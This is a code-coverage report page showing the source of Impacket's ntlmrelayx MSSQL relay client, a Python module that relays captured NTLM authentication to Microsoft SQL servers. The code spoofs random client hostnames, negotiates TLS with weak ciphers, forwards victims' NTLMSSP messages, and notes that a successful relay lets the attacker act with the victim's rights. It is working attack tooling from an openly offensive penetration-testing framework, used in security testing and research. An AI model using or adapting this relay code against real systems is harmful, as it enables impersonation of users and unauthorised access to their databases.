Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py : 23%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# MSSQL (TDS) Protocol Client
11# MSSQL client for relaying NTLMSSP authentication to MSSQL servers
12#
13# Author:
14# Alberto Solino (@agsolino)
15# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
16#
17# ToDo:
18# [ ] Handle SQL Authentication
19#
20import random
21import string
22from struct import unpack
24from impacket import LOG
25from impacket.examples.ntlmrelayx.clients import ProtocolClient
26from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \
27 TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN
28from impacket.ntlm import NTLMAuthChallenge
29from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
30from impacket.spnego import SPNEGO_NegTokenResp
32try:
33 from OpenSSL import SSL
34except Exception:
35 LOG.critical("pyOpenSSL is not installed, can't continue")
37PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient"
39class MYMSSQL(MSSQL):
40 def __init__(self, address, port=1433, rowsPrinter=DummyPrint()):
41 MSSQL.__init__(self,address, port, rowsPrinter)
42 self.resp = None
43 self.sessionData = {}
45 def initConnection(self):
46 self.connect()
47 #This is copied from tds.py
48 resp = self.preLogin()
49 if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
50 LOG.debug("Encryption required, switching to TLS")
52 # Switching to TLS now
53 ctx = SSL.Context(SSL.TLSv1_METHOD)
54 ctx.set_cipher_list('RC4, AES256')
55 tls = SSL.Connection(ctx,None)
56 tls.set_connect_state()
57 while True:
58 try:
59 tls.do_handshake()
60 except SSL.WantReadError:
61 data = tls.bio_read(4096)
62 self.sendTDS(TDS_PRE_LOGIN, data,0)
63 tds = self.recvTDS()
64 tls.bio_write(tds['Data'])
65 else:
66 break
68 # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
69 # Transport Layer Security(TLS), limit data fragments to 16k in size.
70 self.packetSize = 16*1024-1
71 self.tlsSocket = tls
72 self.resp = resp
73 return True
75 def sendNegotiate(self,negotiateMessage):
76 #Also partly copied from tds.py
77 login = TDS_LOGIN()
79 login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')
80 login['AppName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')
81 login['ServerName'] = self.server.encode('utf-16le')
82 login['CltIntName'] = login['AppName']
83 login['ClientPID'] = random.randint(0,1024)
84 login['PacketSize'] = self.packetSize
85 login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON
87 # NTLMSSP Negotiate
88 login['SSPI'] = negotiateMessage
89 login['Length'] = len(login.getData())
91 # Send the NTLMSSP Negotiate
92 self.sendTDS(TDS_LOGIN7, login.getData())
94 # According to the specs, if encryption is not required, we must encrypt just
95 # the first Login packet :-o
96 if self.resp['Encryption'] == TDS_ENCRYPT_OFF:
97 self.tlsSocket = None
99 tds = self.recvTDS()
100 self.sessionData['NTLM_CHALLENGE'] = tds
102 challenge = NTLMAuthChallenge()
103 challenge.fromString(tds['Data'][3:])
104 #challenge.dump()
106 return challenge
108 def sendAuth(self,authenticateMessageBlob, serverChallenge=None):
109 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
110 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
111 token = respToken2['ResponseToken']
112 else:
113 token = authenticateMessageBlob
115 self.sendTDS(TDS_SSPI, token)
116 tds = self.recvTDS()
117 self.replies = self.parseReply(tds['Data'])
118 if TDS_LOGINACK_TOKEN in self.replies:
119 #Once we are here, there is a full connection and we can
120 #do whatever the current user has rights to do
121 self.sessionData['AUTH_ANSWER'] = tds
122 return None, STATUS_SUCCESS
123 else:
124 self.printReplies()
125 return None, STATUS_ACCESS_DENIED
127 def close(self):
128 return self.disconnect()
131class MSSQLRelayClient(ProtocolClient):
132 PLUGIN_NAME = "MSSQL"
134 def __init__(self, serverConfig, targetHost, targetPort = 1433, extendedSecurity=True ):
135 ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)
136 self.extendedSecurity = extendedSecurity
138 self.domainIp = None
139 self.machineAccount = None
140 self.machineHashes = None
142 def initConnection(self):
143 self.session = MYMSSQL(self.targetHost, self.targetPort)
144 self.session.initConnection()
145 return True
147 def keepAlive(self):
148 # Don't know yet what needs to be done for TDS
149 pass
151 def killConnection(self):
152 if self.session is not None:
153 self.session.disconnect()
154 self.session = None
156 def sendNegotiate(self, negotiateMessage):
157 return self.session.sendNegotiate(negotiateMessage)
159 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
160 self.sessionData = self.session.sessionData
161 return self.session.sendAuth(authenticateMessageBlob, serverChallenge)